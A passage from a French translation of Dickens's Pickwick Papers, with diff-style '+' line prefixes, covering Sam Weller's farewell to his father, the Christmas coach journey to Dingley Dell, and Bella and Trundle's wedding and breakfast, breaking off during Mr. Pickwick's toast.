+--Bonjour, Sammy, bonjour.
+
+--Je n'ai plus qu'un mot à vous dire, reprit Sam en s'arrêtant court: Si
+j'étais le propriétaire du _Marquis de Granby_, et si cet animal de
+Stiggins venait faire des roties dans mon comptoir, je le....
+
+--Que ferais-tu? interrompit M. Weller avec grande anxiété, que
+ferais-tu?
+
+--J'empoisonnerais son grog.
+
+--Bah! s'écria Weller en donnant à son fils une poignée de main
+reconnaissante, tu ferais cela réellement, Sammy? tu ferais cela?
+
+--Parole! Je ne voudrais pas me montrer trop cruel envers lui tout
+d'abord. Je commencerais par le plonger dans la fontaine, et je
+remettrais le couvercle pour l'empêcher de s'enrhumer; mais si je voyais
+qu'il n'y avait pas moyen d'en venir à bout par la douceur,
+j'emploierais une autre méthode de persuasion.»
+
+M. Weller aîné lança à son fils un regard d'admiration inexprimable, et,
+lui ayant de nouveau serré la main, s'éloigna lentement en roulant dans
+son esprit les réflexions nombreuses auxquelles cet avis avait donné
+lieu.
+
+Sam le suivit des yeux jusqu'au détour de la route et s'achemina ensuite
+vers Londres. Il médita d'abord sur les conséquences probables de son
+conseil, et sur la vraisemblance ou l'invraisemblance qu'il y avait de
+voir adopter cet avis par son père; mais bientôt il écarta toute
+inquiétude de son esprit par cette réflexion consolante, qu'il en
+saurait le résultat avec le temps. C'est un avantage que le lecteur
+aura, aussi bien que lui.
+
+
+
+
+CHAPITRE XXVIII.
+
+Un joyeux chapitre des fêtes de Noël, contenant le récit d'une noce et
+de quelques autres passe-temps qui sont, dans leur genre, d'aussi bonnes
+coutumes que le mariage, mais qu'on ne maintient pas aussi
+religieusement, dans ce siècle dégénéré.
+
+
+Aussi diligents que des abeilles, et presque aussi légers que des
+papillons, les quatre Pickwickiens se rassemblèrent, au matin du 22
+décembre de l'an de grâce 1831. Noël s'approchait rapidement, dans toute
+sa joyeuse et cordiale hospitalité. La vieille année se préparait, comme
+un gymnosophiste indien, à réunir ses amis autour de soi, et à mourir
+doucement et tranquillement au milieu des festins et des bombances.
+C'était une époque de jubilation, et parmi les nombreux mortels que
+réjouissait la même cause, nos quatre héros étaient remarquablement
+enjoués et heureux.
+
+Car ils sont nombreux les mortels à qui Noël apporte un court intervalle
+de gaieté et de bonheur! Combien de familles dispersées au loin par les
+soins, par les luttes incessantes de la vie, se réunissent alors dans
+cet heureux état de familiarité et de bonne volonté mutuelle, qui est la
+source de tant de pures délices; douce et paisible communion d'esprit
+qui semble si incompatible avec les soucis de l'existence, si au dessus
+des plaisirs de ce monde, que les nations les plus civilisées, comme les
+peuplades les plus sauvages, en font également une des premières
+jouissances réservées aux élus, dans le séjour du bonheur éternel.
+Combien de vieilles sympathies, combien de souvenirs assoupis se
+réveillent au temps de Noël!
+
+Nous écrivons ces lignes à bien des lieues de l'heureux endroit où,
+pendant de longues années, nous avons rencontré, la veille de Noël, un
+cercle amical et joyeux. La plupart des coeurs qui palpitaient alors avec
+ivresse, ont cessé de battre; les mains que nous aimions à serrer, sont
+devenues froides; les visages gracieux qui nous charmaient, sont
+décharnés; les regards que nous cherchions, ont perdu leur éclat; et
+cependant la vieille maison, la grande salle, les plaisanteries, les
+rires, les voix joyeuses et les visages souriants, les circonstances les
+plus frivoles de ces heureuses réunions, se pressent en foule dans notre
+esprit, à chaque retour de cette fête. Il semble que nous n'ayons cessé
+de nous voir que d'hier. Heureux, heureux le jour de Noël, qui redonne
+au vieillard les illusions de sa jeunesse, et qui transporte le marin,
+le voyageur, éloigné de plusieurs milliers de lieues, parmi les joies
+tranquilles de la maison paternelle.
+
+Nous nous sommes laissé entraîner par les bonnes qualités de Noël, qui,
+pour le dire en passant, est tout à fait un gentilhomme campagnard de la
+vieille école, et nous faisons attendre, au froid, M. Pickwick et ses
+amis. Ils viennent d'arriver à la voiture de Muggleton, soigneusement
+enveloppés de châles et de grandes redingotes. Les portemanteaux, les
+sacs de nuit sont placés, et Sam s'efforce avec le garde[30] d'insinuer
+dans le coffre de devant une énorme morue, soigneusement empaquetée dans
+un long panier brun garni de paille, et qui doit reposer sur une
+demi-douzaine de barils d'huîtres, appartenant, comme elle, à M.
+Pickwick. La physionomie de celui-ci exprime le plus vif intérêt, tandis
+que Sam et le garde font tout ce qu'ils peuvent pour fourrer la morue
+dans le réceptacle, quoiqu'elle soit deux ou trois fois trop grande pour
+y entrer. D'abord ils veulent la mettre la tête la première, ensuite la
+queue la première, puis le fond du panier en haut, puis l'ouverture en
+haut, puis sur le côté, puis diagonalement. Mais l'implacable morue
+résiste opiniâtrement à tous ces artifices. Enfin, cependant, le garde,
+frappant par hasard sur le milieu du panier, le poisson disparaît
+soudainement, et cette condescendance inattendue, faisant perdre
+l'équilibre au garde lui-même, sa tête et ses épaules s'enfoncent en
+même temps dans le coffre, à la satisfaction inexprimable de tous les
+porteurs et assistants. M. Pickwick sourit avec bonne humeur, tire un
+shilling de son gilet, et lorsque le garde sort de sa boîte, le prie de
+boire à sa santé un verre d'eau-de-vie et d'eau chaude. Sur cela, le
+garde sourit aussi, et MM. Snodgrass, Winkle et Tupman sourient tous de
+compagnie. Le garde et Sam Weller disparaissent pendant cinq minutes,
+probablement pour avaler le grog, car ils sentent l'eau-de-vie en
+revenant. Le cocher monte sur son siége, Sam saute derrière, les
+Pickwickiens tirent leurs redingotes sur leurs jambes et leurs châles
+sur leur nez, les valets d'écurie ôtent les couvertures des chevaux, le
+cocher crie: «En route!» et les voilà partis.
+
+[Footnote 30: Le conducteur. Cette appellation est un reste du temps où
+les routes étaient si peu sûres que chaque voiture était accompagnée
+d'un véritable garde.
+
+(_Note du traducteur_.)]
+
+Ils ont circulé à travers les rues, ils ont été cahotés sur le pavé, et,
+à la fin, ils atteignent la campagne. Les roues glissent sur le terrain
+dur et gelé. Au claquement aigu du fouet, les chevaux partent au petit
+galop et entraînent à leurs talons voiture, voyageurs, morue, barils
+d'huîtres, et le reste, comme si ce n'était qu'une plume légère. Ils ont
+descendu une pente douce et se trouvent sur une chaussée horizontale, de
+deux milles de long, aussi sèche, aussi compacte qu'un bloc de granit.
+Un autre claquement de fouet, et ils s'élancent au grand galop, secouant
+leur tête et leur harnais, sous l'influence excitante de leur mouvement
+rapide. Cependant le cocher, tenant le fouet et les guides d'une main,
+ôte son chapeau avec l'autre, le pose sur ses genoux, tire son mouchoir
+et essuie son front; partie parce qu'il a l'habitude d'agir ainsi, et
+partie pour montrer aux voyageurs comme il est à son aise, et combien
+c'est une chose facile de conduire quatre chevaux, quand on a autant de
+pratique que lui. Ayant fait cela fort tranquillement (car autrement
+l'effet en serait notablement diminué), il replace son mouchoir, remet
+son chapeau, ajuste ses gants, équarrit ses coudes, fait claquer son
+fouet de nouveau, et au galop! plus gaiement que jamais!
+
+Quelques maisons, éparpillées des deux cotés de la route, annoncent
+l'entrée d'un village. Le cornet du garde fait vibrer dans l'air pur et
+frais des notes animées, qui réveillent le vieux gentleman de
+l'intérieur. Il abaisse la glace à moitié, regarde un instant au dehors,
+et relevant soigneusement la glace, informe l'autre habitant de
+l'intérieur que l'on va relayer dans quelques minutes. D'après cet avis,
+celui-ci se secoue, et se détermine à remettre son premier somme
+jusqu'à ce qu'on soit reparti. Le cornet résonne encore vigoureusement,
+et, à ce bruit, les femmes et les enfants du village viennent regarder à
+la porte de leur chaumière, et suivent des yeux la voiture jusqu'à ce
+qu'elle tourne le coin, puis ils rentrent s'étendre autour d'un feu
+brillant et y jettent un autre morceau de bois _pour quand le père
+reviendra_. Cependant le père lui-même, à un mille de là, vient
+d'échanger un signe de tête amical avec le cocher, et s'est retourné
+pour examiner longuement la voiture qui s'enfuit loin de lui.
+
+Et maintenant, pendant que les roues retentissent dans les rues mal
+pavées d'une ville provinciale, le cornet joue un air guilleret. Le
+cocher, défaisant la boucle qui réunit ses guides, s'apprête à les jeter
+au moment même où il arrêtera. M. Pickwick sort du collet de sa
+redingote, et regarde autour de lui avec grande curiosité; le cocher,
+qui s'en aperçoit, l'instruit du nom de la ville, et lui dit que c'était
+hier jour de marché; double information que M. Pickwick s'empresse de
+faire passer à ses compagnons de voyage, et qui les décide à sortir
+aussi de leurs collets et à regarder autour d'eux. M. Winkle, qui est
+assis à l'extrémité de la banquette, avec une jambe dandinante en l'air,
+est presque précipité dans la rue lorsque la voiture tourne brusquement
+pour entrer dans la place du marché; et M. Snodgrass, qui se trouve
+assis auprès de lui, n'est point encore remis de son effroi, lorsqu'elle
+arrête dans la cour de l'auberge, où les chevaux frais, avec leurs
+couvertures, piaffent déjà. Le cocher jette les guides et descend de son
+siége; les voyageurs extérieurs descendent aussi, excepté ceux qui n'ont
+pas grande confiance dans leur habileté pour remonter. Ceux-là restent
+où ils sont, frappent leurs pieds contre la voiture pour se les
+réchauffer, et regardent avec un oeil d'envie le feu qui brille dans la
+salle, et le buis, orné de baies rouges, qui pare les fenêtres de
+l'auberge.
+
+Cependant le garde a déposé, à la boutique du grènetier, le paquet de
+papier gris qu'il a tiré de la petite besace pendue sur son épaule, à un
+baudrier de cuir. Il a soigneusement examiné les nouveaux chevaux; il a
+jeté sur le pavé la selle apportée de Londres, sur l'impériale; il a
+assisté à la conférence tenue par le cocher et par le valet d'écurie sur
+la jument grise, qui s'est blessée à la jambe de devant mardi passé; il
+est remonté derrière la voiture avec Sam; le cocher est juché sur son
+siége; le vieux gentleman du dedans, qui avait tenu la glace baissée de
+deux doigts, durant tout ce temps, l'a relevée, et les couvertures des
+chevaux sont ôtées, et tout est prêt pour partir, excepté _les deux gros
+gentlemen_, dont le cocher s'enquiert avec grande impatience; puis le
+cocher, et le garde, et Sam, et M. Winkle, et M. Snodgrass, et tous les
+palefreniers, et tous les flâneurs, qui sont plus nombreux que tous les
+autres ensemble, se mettent à brailler à tue-tête après les voyageurs
+manquants. Une réponse lointaine s'entend au fond de la cour; M.
+Pickwick et M. Tupman la traversent en courant, tout hors d'haleine, car
+ils ont bu chacun un verre d'ale, et les doigts de M. Pickwick sont si
+froids, qu'il a été cinq grandes minutes avant de pouvoir tirer six
+pence pour payer. Le cocher vocifère d'un air mécontent: «Allons,
+gentlemen, allons!» Le garde répète le même cri; le vieux gentleman de
+l'intérieur trouve fort extraordinaire qu'on veuille descendre, quand on
+sait qu'on n'en a pas le temps; M. Pickwick s'efforce de grimper d'un
+côté, M. Tupman de l'autre; M. Winkle crie. _Ça y est_, et les voilà
+repartis! Les châles sont remis, les collets d'habits sont rajustés, le
+pavé cesse, les maisons disparaissent, et nos voyageurs s'élancent de
+nouveau sur la grande route, et l'air clair et piquant baigne leur
+visage et les réjouit jusqu'au fond du coeur.
+
+C'est ainsi que le _Télégraphe_ de Muggleton transportait M. Pickwick et
+ses amis sur le chemin de Dingley-Dell. A trois heures de l'après-midi,
+ils débarquaient tous, sains et saufs, sur les marches du _Lion bleu_,
+ayant pris sur la route assez d'ale et d'eau-de-vie pour défier la
+gelée, qui couvrait, de ses belles dentelles blanches, les arbres et les
+haies.
+
+M. Pickwick était sérieusement occupé à surveiller l'exhumation de la
+morue, lorsqu'il se sentit tirer doucement par le pan de son habit. Il
+se retourna et reconnut le page favori de M. Wardle, mieux connu des
+lecteurs de cette véridique histoire sous le nom du gros joufflu.
+
+«Ha! ha! fit M. Pickwick.
+
+--Ha! ha! fit le gros joufflu en regardant amoureusement la morue et les
+barils d'huîtres. Il était plus gros que jamais.
+
+--Eh bien! mon jeune ami, dit M. Pickwick, vous m'avez l'air assez
+rougeaud.
+
+--J'ai dormi devant le feu de la buvette, répondit le gros joufflu,
+qu'une heure de somme avait monté au ton d'une brique. Maître m'a envoyé
+avec la charrette pour porter votre bagage à la maison. Il aurait envoyé
+quelques chevaux de selle; mais, comme il fait froid, il a pensé que
+vous aimeriez mieux marcher.
+
+--Oui! oui! nous aimons mieux marcher, répliqua précipitamment M.
+Pickwick, car il se rappelait la cavalcade qu'il avait déjà faite sur la
+même route. Sam!
+
+--Monsieur!
+
+--Aidez le domestique de M. Wardle à mettre les paquets dans la
+charrette, et montez-y avec lui; nous allons aller en avant.»
+
+Ayant donné ces instructions et terminé son compte avec le cocher, M.
+Pickwick, suivi de ses amis, prit le sentier de traverse et s'éloigna
+d'un pas gaillard.
+
+Sam, qui se trouvait pour la première fois confronté avec le gros
+joufflu, l'examinait curieusement, mais sans rien dire: quand il l'eut
+bien considéré, il commença à arranger rapidement tous les paquets dans
+la charrette, tandis que Joe le regardait d'un air tranquille, et
+paraissait trouver un immense plaisir à voir avec quelle activité Sam
+faisait cette opération.
+
+«Voilà, dit Sam, en jetant le dernier sac dans la charrette: ils y sont
+tous.
+
+--Oui, observa Joe d'un ton satisfait: ils y sont tous....
+
+--Savez-vous, mon petit, que vous auriez bien pu obtenir le prix au
+grand concours.
+
+--Bien obligé.
+
+--Est-ce que vous avez quelque chose dessus votre coeur qui vous affecte?
+
+--Non, je ne crois pas.
+
+--J'aurais pourtant imaginé, en vous regardant, que vous aviez une
+passion malheureuse.»
+
+Joe secoua la tête d'une manière négative.
+
+«Eh bien! poursuivit Sam; tant mieux! Buvez-vous?
+
+--J'aime mieux manger.
+
+--Ah! j'aurais imaginé ça. Mais je veux dire, voulez-vous prendre une
+goutte de quelque chose qui vous réchaufferait votre petit estomac? Du
+reste vous êtes gentiment rembourré et vous ne devez pas avoir froid
+souvent.
+
+--Quelquefois, et j'aime bien à boire la goutte, quand c'est du bon.
+
+--Ah! c'est-il vrai? Hé bien, venez par ici alors.»
+
+Nos nouveaux amis furent bientôt transportés à la buvette du _Lion
+bleu_, et le gros joufflu avala un verre d'eau-de-vie sans sourciller,
+exploit qui l'avança considérablement dans la bonne opinion de Sam.
+Lorsque celui-ci eut opéré pour son propre compte, ils montèrent dans la
+charrette.
+
+«Savez-vous conduire? demanda le page de M. Wardle.
+
+--Un peu, mon neveu!
+
+--Voilà alors, dit le gros joufflu en mettant les guides dans la main de
+Sam et en lui montrant une ruelle. Il n'y a qu'à aller tout droit, et
+vous ne pouvez pas vous tromper.»
+
+Ayant prononcé ces mots, il se coucha affectueusement à côté de la
+morue, et plaçant un baril d'huîtres sous sa tête, en guise de
+traversin: il s'endormit instantanément.
+
+«Eh bien! par exemple, fit Sam: pour un jeune homme sans gêne, voilà un
+jeune homme sans gêne! Allons, réveillez-vous, jeune hydropique.»
+
+Mais comme le jeune _hydropique_ ne montrait aucun symptôme d'animation,
+Sam s'assit sur le devant du char, et faisant partir le vieux cheval par
+une secousse des guides, le conduisit d'un trot soutenu vers
+Manoir-ferme.
+
+Cependant M. Pickwick et ses amis, ayant rétabli par la marche une
+active circulation dans leur système veineux et artériel, poursuivaient
+gaiement leur chemin. La terre était durcie, le gazon blanchi par la
+gelée; l'air froid et sec était fortifiant, et l'approche rapide du
+crépuscule grisâtre (couleur d'ardoise serait une expression plus
+convenable dans un temps de gelée), rendait plus séduisante pour nos
+voyageurs l'agréable perspective des conforts qui les attendaient chez
+leur hôte. C'était précisément l'espèce d'après-midi, qui, dans un champ
+solitaire, pourrait induire un couple de barbons à ôter leurs habits et
+à jouer à saute-mouton, par pure légèreté d'esprit. Aussi sommes-nous
+fermement persuadés que si dans cet instant M. Tupman s'était courbé, en
+appuyant les mains sur ses genoux, M. Pickwick aurait profité, avec la
+plus grande avidité, de cette invitation indirecte.
+
+Quoi qu'il en soit, M. Tupman ne s'étant pas posé de cette manière, nos
+amis continuèrent à marcher, en conversant joyeusement. Comme ils
+entraient dans une ruelle qu'ils devaient traverser, un bruit confus de
+voix vint frapper leurs oreilles, et avant d'avoir eu le temps de former
+une conjecture sur les personnes à qui ces voix appartenaient, ils se
+trouvèrent au milieu d'une société nombreuse qui attendait leur arrivée.
+
+C'était le vieux Wardle, qui poussait de bruyants hourras, et qui, s'il
+est possible, avait l'air encore plus jovial que de coutume; c'était
+Bella et son fidèle Trundle; c'était Émily enfin, et huit ou dix autres
+jeunes demoiselles, qui étaient venues pour assister aux opérations
+matrimoniales du lendemain, et qui se trouvaient toutes dans cette
+disposition de gaieté et d'importance ordinaire aux jeunes ladies dans
+ces intéressantes occasions. Les champs et les ruelles retentissaient au
+loin des éclats de rire de cette bande joyeuse.
+
+Les cérémonies des présentations furent bientôt terminées, ou plutôt les
+présentations furent bientôt parfaites, sans aucune cérémonie. Au bout
+de deux minutes, M. Pickwick, aussi à son aise, aussi peu contraint que
+s'il avait connu toute sa vie ces jeunes demoiselles, plaisantait avec
+celles qui ne voulaient pas passer par-dessus les barrières quand il
+regardait, ou qui ayant de jolis pieds et des chevilles sans reproche,
+avaient soin de rester debout sur la balustrade pendant cinq ou six
+minutes, en déclarant qu'elles avaient trop peur pour oser faire aucun
+mouvement. Il est digne de remarque que M. Snodgrass offrit à Émily
+Wardle beaucoup plus d'assistance que les terreurs de la barrière ne
+semblaient l'exiger, quoiqu'elle eût bien trois pieds de haut et qu'il
+fallût y monter sur une couple de pierres, servant de marches. Enfin
+l'on observa qu'une jeune demoiselle, qui avait des yeux noirs et de
+très-jolis petits brodequins garnis de fourrures, poussa de grands cris
+lorsque M. Winkle lui offrit la main pour l'aider à descendre.
+
+Quand les difficultés des barrières furent surmontées, quand on se
+retrouva sur un terrain plat, M. Wardle apprit à M. Pickwick qu'on
+venait d'examiner, en corps, l'ameublement de la maison où le jeune
+couple devait habiter après les fêtes de Noël. A cette communication,
+Bella et Trundle devinrent tous les deux aussi rouges que le gros
+joufflu après son somme au coin du feu. Cependant la jeune lady aux yeux
+noirs et aux brodequins garnis de fourrure murmura quelque chose dans
+l'oreille d'Émily, en regardant malicieusement M. Snodgrass. Émily lui
+répondit: Vous êtes folle; mais elle rougit beaucoup malgré cela: et M.
+Snodgrass, qui était aussi modeste que le sont ordinairement tous les
+grands génies, sentit le rouge lui monter jusqu'au sommet de la tête, et
+souhaita dévotement, dans le fond de son coeur, que la jeune lady
+susdite, ses yeux noirs, sa malice et ses brodequins garnis de fourrure,
+fussent tous confortablement déposés à l'autre bout de l'Angleterre.
+
+Si les Pickwickiens avaient été reçus d'une manière amicale hors de la
+maison, imaginez quelles furent la chaleur et la cordialité de leur
+réception quand on arriva à la ferme. Les domestiques eux-mêmes
+grimaçaient de plaisir en voyant M. Pickwick; et la femme de chambre,
+Emma, lança à M. Tupman un regard de reconnaissance, moitié modeste,
+moitié impudent, et si joli qu'il aurait suffi pour décider la statue de
+Bonaparte, située dans le vestibule, à ouvrir ses bras et à la presser
+sur son sein.
+
+La vieille lady était assise dans le parloir, avec sa majesté
+accoutumée. Mais elle était d'assez mauvaise humeur, et par conséquent
+très-complétement sourde. Elle ne sortait jamais, et comme beaucoup
+d'autres vieilles dames de la même étoffe, lorsque d'autres faisaient ce
+qu'elle ne pouvait pas faire elle-même, elle croyait que c'était un
+crime de haute trahison domestique. Aussi se tenait-elle toute droite
+dans son grand fauteuil, et avait-elle l'air aussi sévère qu'elle le
+pouvait. Mais après tout, que Dieu la bénisse! c'était encore un air
+bénévole.
+
+«Maman, dit M. Wardle, voilà M. Pickwick. Vous vous en souvenez.
+
+--C'est bien! c'est bien! répliqua-t-elle avec dignité: Ne tourmentez
+pas M. Pickwick pour une vieille créature comme moi. Personne ne se
+soucie plus de moi, maintenant, et c'est fort naturel. En prononçant ces
+mots elle secouait sa tête, et détirait d'une main tremblante les plis
+de sa robe de soie.
+
+--Allons! allons! madame, dit M. Pickwick; ne repoussez pas comme cela
+un vieil ami. Je suis venu exprès pour avoir une longue conversation
+avec vous, et pour faire un autre rob. Et puis nous montrerons à ces
+enfants à danser un menuet avant qu'ils soient plus vieux de
+quarante-huit heures.»
+
+La vieille dame s'adoucissait rapidement, mais elle n'aimait pas avoir
+l'air de céder tout à coup, aussi se contenta-t-elle de dire: «Ah! je ne
+peux pas l'entendre.
+
+--Allons! maman, quel enfantillage! reprit M. Wardle: ne soyez donc pas
+de mauvaise humeur; pensez à Bella, pauvre fille; il faut que vous
+l'encouragiez.»
+
+La bonne vieille dame entendit ceci, car ses lèvres tremblèrent pendant
+que son fils parlait. Mais l'âge a ses petites infirmités mentales, et
+elle n'était point encore tout à fait apaisée. Elle recommença donc à
+détirer sa robe, et se tournant vers M. Pickwick, «Ah! monsieur
+Pickwick, lui dit-elle, les jeunes gens étaient bien différents dans mon
+temps.
+
+--Sans aucun doute, madame, et c'est pour cela que j'aime tant ceux qui
+ont quelques traces de l'ancienne roche.» En disant ces mots notre
+excellent ami attira doucement Isabelle, et déposant un baiser sur son
+front, la fit asseoir sur le petit tabouret aux pieds de sa grand'mère.
+Alors, soit que l'expression de ce jeune visage, levé vers la vieille
+dame, lui rappelât des souvenirs d'autrefois, soit qu'elle fût touchée
+par la bienveillante bonhomie de M. Pickwick, quelle qu'en fût la cause
+enfin, elle s'amollit complétement; elle jeta ses bras au cou de Bella,
+et toute cette petite mauvaise humeur s'évapora en larmes silencieuses.
+
+Ce fut une heureuse soirée. Le whist où M. Pickwick et la vieille lady
+jouaient ensemble, était grave et solennel, mais la joie de la table
+ronde était bruyante et tumultueuse. Longtemps après que les dames se
+furent retirées, le vin chaud bien assaisonné d'eau-de-vie et d'épices,
+circula à la ronde et recircula fréquemment. Le sommeil qu'il produisit
+fut profond, et les rêves qu'il amena furent agréables. C'est un fait
+remarquable que ceux de M. Snodgrass se rapportaient constamment à Émily
+Wardle, et que la principale figure des visions de M. Winkle était une
+jeune demoiselle, avec des yeux noirs, un sourire malin, et des
+brodequins remarquablement petits.
+
+M. Pickwick fut réveillé de bonne heure, le lendemain, par un murmure de
+voix, par un bruit confus de pas, qui auraient suffi pour tirer le gros
+joufflu lui-même de son pesant sommeil. Il se leva sur son séant et
+écouta. Les domestiques et les hôtes féminins couraient constamment de
+tous côtés, et il y avait tant et de si instantes demandes d'eau chaude,
+tant de supplications répétées pour des aiguilles et du fil, tant de:
+«Oh! venez m'agrafer ma robe, vous serez bien gentille!» que M.
+Pickwick, dans son innocence, commença à s'imaginer qu'il était arrivé
+quelque chose d'épouvantable. Cependant ses idées s'éclaircissant de
+plus en plus, il se rappela que c'était le jour des noces. L'occasion
+étant importante, il s'habilla avec un soin particulier, et descendit
+dans la chambre où l'on devait déjeuner.
+
+Toutes les servantes de la maison, vêtues d'un uniforme de mousseline,
+couraient çà et là dans un état d'agitation et d'inquiétude impossible à
+décrire. La vieille lady était parée d'une robe de brocart, qui depuis
+vingt années n'avait pas vu la lumière, excepté lorsque quelque rayon
+vagabond s'était glissé à travers les fentes de la boîte où elle était
+enfermée. M. Trundle resplendissait de satisfaction, mais on voyait
+pourtant que ses nerfs n'étaient pas bien solides. Quant au cordial
+amphitryon, il échouait complétement dans ses efforts pour paraître
+tranquille et gai. Excepté deux ou trois favorites, demeurées en haut,
+et honorées d'une vue particulière de la mariée et des demoiselles
+d'honneur, toutes les jeunes personnes étaient en larmes et en robe de
+mousseline. Les pickwickiens avaient également revêtu des costumes
+appropriés à la circonstance. Enfin l'on entendait sur le gazon, devant
+la grande porte, de terribles hurlements, poussés par tous les hommes,
+jeunes gars et gamins, dépendant de la ferme, et portant chacun une
+cocarde blanche à leur boutonnière. C'était Sam qui dirigeait leurs
+cris, du précepte et de l'exemple; car il était déjà parvenu à se rendre
+fort populaire, et se trouvait là aussi à son aise que s'il avait été
+conçu et enfanté sur les terres de M. Wardle.
+
+Un mariage est un sujet privilégié de plaisanteries; et cependant après
+tout, il n'y a pas grande plaisanterie dans l'affaire. Nous parlons
+simplement de la cérémonie, et demandons qu'il soit bien entendu que
+nous ne nous permettons aucun sarcasme caché contre la vie maritale. Aux
+plaisirs, aux espérances qu'apporte le mariage, est mêlé le regret
+d'abandonner sa maison, sa famille, de laisser derrière soi les tendres
+amis de la portion la plus heureuse de la vie, pour en affronter les
+soucis avec une personne qu'on n'a pas encore éprouvée et qu'on connaît
+peu. Mais en voilà assez sur ce sujet: nous ne voulons pas attrister
+notre chapitre par la description de ces sentiments naturels, et nous
+regretterions encore bien plus de les tourner en ridicule.
+
+Nous dirons donc brièvement que le mariage fut célébré par le vieil
+ecclésiastique, dans l'église paroissiale de Dingley-Dell; et que le nom
+de M. Pickwick est inscrit sur le registre, conservé jusqu'à ce jour
+dans la sacristie; que la jeune demoiselle aux yeux noirs ne signa pas
+son nom d'une main ferme, coulante et dégagée; que la signature d'Émily
+et celle de l'autre demoiselle d'honneur sont presque illisibles; que
+d'ailleurs tout se passa très-bien et d'une manière fort agréable; que
+les jeunes demoiselles trouvèrent, généralement, que la cérémonie était
+bien moins terrible qu'elles ne se l'étaient imaginé; et que si la
+propriétaire des yeux noirs et du sourire malicieux jugea convenable
+d'informer M. Winkle, qu'assurément elle ne pourrait jamais se soumettre
+à une chose aussi odieuse, nous avons, d'autre part, les meilleures
+raisons pour supposer qu'elle se trompait. A tout cela nous pouvons
+ajouter que M. Pickwick fut le premier qui embrassa la mariée, et qu'en
+même temps il lui jeta autour du cou une riche chaîne d'or, avec une
+montre du même métal, qui n'avaient été vues auparavant par les yeux
+d'aucun mortel, excepté ceux du joaillier. Enfin les cloches de la
+vieille église sonnèrent aussi gaiement qu'elles le purent, et tout le
+monde s'en retourna déjeuner.
+
+«Où les petits pâtés de Noël se placent-ils, jeune mangeur d'opium?
+demanda Sam au gros joufflu, en aidant cet intéressant fonctionnaire à
+mettre sur la table les articles de consommation qui n'avaient point été
+arrangés le soir précédent.
+
+Joe indiqua la destination des pâtés.
+
+«Très-bien! dit Sam: Mettez un rameau de Noël dedans. L'autre plat à
+l'opposite. Maintenant nous avons l'air compact et confortable, comme
+observait le papa en coupant la tête de son moutard pour l'empêcher de
+loucher.»
+
+En faisant cette citation savante, Sam recula d'un pas ou deux pour
+examiner les préparatifs du festin. Il était encore plongé dans cette
+délicieuse contemplation, lorsque la société arriva et se mit à table.
+
+«Wardle, dit M. Pickwick, presque aussitôt qu'on fût assis; un verre de
+vin en honneur de cette heureuse circonstance.
+
+--J'en serai charmé, mon vieux camarade, répliqua M. Wardle. Joe....
+damné garçon! il est allé dormir.
+
+--Non, monsieur, je ne dors pas, répondit le gros joufflu en sortant
+d'un coin de la chambre, où, comme l'immortel Jack Horner, patron des
+gros garçons, il s'occupait à dévorer un pâté de Noël, sans toutefois
+s'acquitter de cette besogne avec le sang-froid qui caractérisait les
+opérations gastronomiques de l'illustre héros de la ballade enfantine.
+
+--Remplissez le verre de M. Pickwick.
+
+--Oui, monsieur.»
+
+Le gros joufflu emplit le verre de M. Pickwick et se retira ensuite
+derrière la chaise de son maître, d'où il observa avec une espèce de
+joie sombre et inquiète, le jeu des fourchettes et des couteaux, et le
+trajet des morceaux choisis depuis les plats jusqu'aux assiettes, et des
+assiettes jusqu'aux bouches des convives.
+
+«Que Dieu vous bénisse, mon vieil ami, dit M. Pickwick.
+
+--Je vous en dis autant, mon garçon, répliqua Wardle, et ils se firent
+raison du fond du coeur.
+
+--Mme Wardle, reprit M. Pickwick, nous autres vieilles gens nous devons
+boire un verre de vin ensemble en honneur de cet heureux événement.»
+
+La vieille lady était en ce moment dans une posture pleine de grandeur,
+car elle était assise au haut bout de la table, dans sa robe de brocart,
+ayant la nouvelle mariée d'un coté et M. Pickwick de l'autre, pour
+découper. M. Pickwick n'avait pas parlé très-haut, mais elle l'entendit
+du premier coup, et but un verre de vin tout entier à sa longue vie et à
+son bonheur. Ensuite la bonne vieille créature se lança dans un récit
+circonstancié de son propre mariage, accompagné d'une dissertation sur
+la mode des talons hauts, et de quelques particularités concernant la
+vie et les aventures de la charmante lady Tollimglower, décédée. A
+chaque pose de son récit, la vieille dame riait de tout son coeur, et les
+jeunes ladies en faisaient autant; puis elles se demandaient entre elles
+de quoi leur grand'maman pouvait parler si longtemps. Or, quand les
+jeunes ladies riaient, la vieille dame éclatait dix fois plus fort, et
+déclarait que son histoire avait toujours été regardée comme excellente;
+ce qui faisait rire de nouveau tout le monde, et inspirait à la vieille
+dame la meilleure humeur possible.
+
+Cependant le fameux _plum-cake_, le gâteau de noce, fut découpé et
+circula autour de la table. Les jeunes demoiselles en gardèrent des
+morceaux, pour mettre sous leur traversin et rêver de leur futur époux,
+ce qui occasionna une grande quantité de rougeurs et d'éclats de rire.
+
+«Monsieur Miller, un verre de vin, dit M. Pickwick à sa vieille
+connaissance, le gentleman dont la tête ressemblait à une pomme de
+reinette.
+
+--Avec grande satisfaction, monsieur, répondit celui-ci d'un air
+solennel.
+
+--Vous me permettrez d'en être, dit le vieil ecclésiastique bénévole.
+
+--Et à moi aussi, ajouta sa femme.
+
+--Et à moi aussi, et à moi aussi,» répétèrent du bas de la table une
+couple de parents pauvres, qui avaient bu et mangé de tout leur coeur, et
+qui s'empressaient de rire à tout ce qui se disait.
+
+M. Pickwick, dont les yeux rayonnaient de bienveillance et de plaisir,
+exprima son intime satisfaction à chaque addition nouvelle. Ensuite, se
+levant tout d'un coup:
+
+«Ladies et gentlemen, dit-il.
+
+--Écoutez! écoutez! écoutez! écoutez! écoutez! écoutez! cria Sam,
+emporté par l'exaltation du moment.
+
+--Faites entrer tous les domestiques, dit le vieux Wardle en
+s'interposant pour prévenir la rebuffade publique que Sam aurait
+infailliblement reçue de son maître; et donnez-leur à chacun un verre de
+vin pour boire le toast; maintenant, Pickwick....»
+
+Parmi le silence de la compagnie, le chuchotement des domestiques
+femelles, et l'embarras craintif des mâles, M. Pickwick poursuivit:
+
+«Ladies et gentlemen... non... je ne dirai pas ladies et gentlemen, je
+vous appellerai mes amis, mes chers amis, si les dames veulent
+m'accorder une si grande liberté....» Ici M. Pickwick fut interrompu par
+les applaudissements frénétiques des dames, répétés par les gentlemen,
+et durant lesquels la propriétaire des yeux noirs fut entendue déclarer
+distinctement qu'elle embrasserait volontiers ce cher M. Pickwick; M.
+Winkle demanda galamment si cela ne pourrait pas se faire par
+procuration; mais la jeune lady aux yeux noirs lui répliqua; «par
+exemple!» en accompagnant cette réponse d'une oeillade qui disait
+clairement: essayez!
+
